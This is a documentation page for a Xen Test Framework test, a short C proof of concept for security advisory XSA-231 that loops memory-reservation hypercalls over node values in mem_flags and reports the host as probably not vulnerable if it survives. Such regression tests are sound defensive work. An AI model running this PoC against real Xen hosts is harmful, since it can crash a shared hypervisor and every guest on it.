Xen Test Framework
main.c
Go to the documentation of this file.
1 
18 #include <xtf.h>
19 
20 const char test_title[] = "XSA-231 PoC";
21 
22 void test_main(void)
23 {
24  struct xen_memory_reservation res = {
25  .nr_extents = 1,
26  .domid = DOMID_SELF,
27  };
28 
29  /* Opencoded loop over each value in the node field of mem_flags. */
30  for ( ; res.mem_flags < 0x10000; res.mem_flags += 0x100 )
32 
33  /* If Xen is alive at this point, it is probably not vulnerable. */
34 
35  xtf_success("Success: Probably not vulnerable to XSA-231\n");
36 }
37 
38 /*
39  * Local variables:
40  * mode: C
41  * c-file-style: "BSD"
42  * c-basic-offset: 4
43  * tab-width: 4
44  * indent-tabs-mode: nil
45  * End:
46  */
#define XENMEM_increase_reservation
Definition: memory.h:8
void xtf_success(const char *fmt,...)
Report test success.
Definition: report.c:38
unsigned long nr_extents
Definition: memory.h:14
void test_main(void)
To be implemented by each test, as its entry point.
Definition: main.c:137
const char test_title[]
The title of the test.
Definition: main.c:14
unsigned int mem_flags
Definition: memory.h:16
#define DOMID_SELF
Definition: xen.h:70
static long hypercall_memory_op(unsigned int cmd, void *arg)
Definition: hypercall.h:100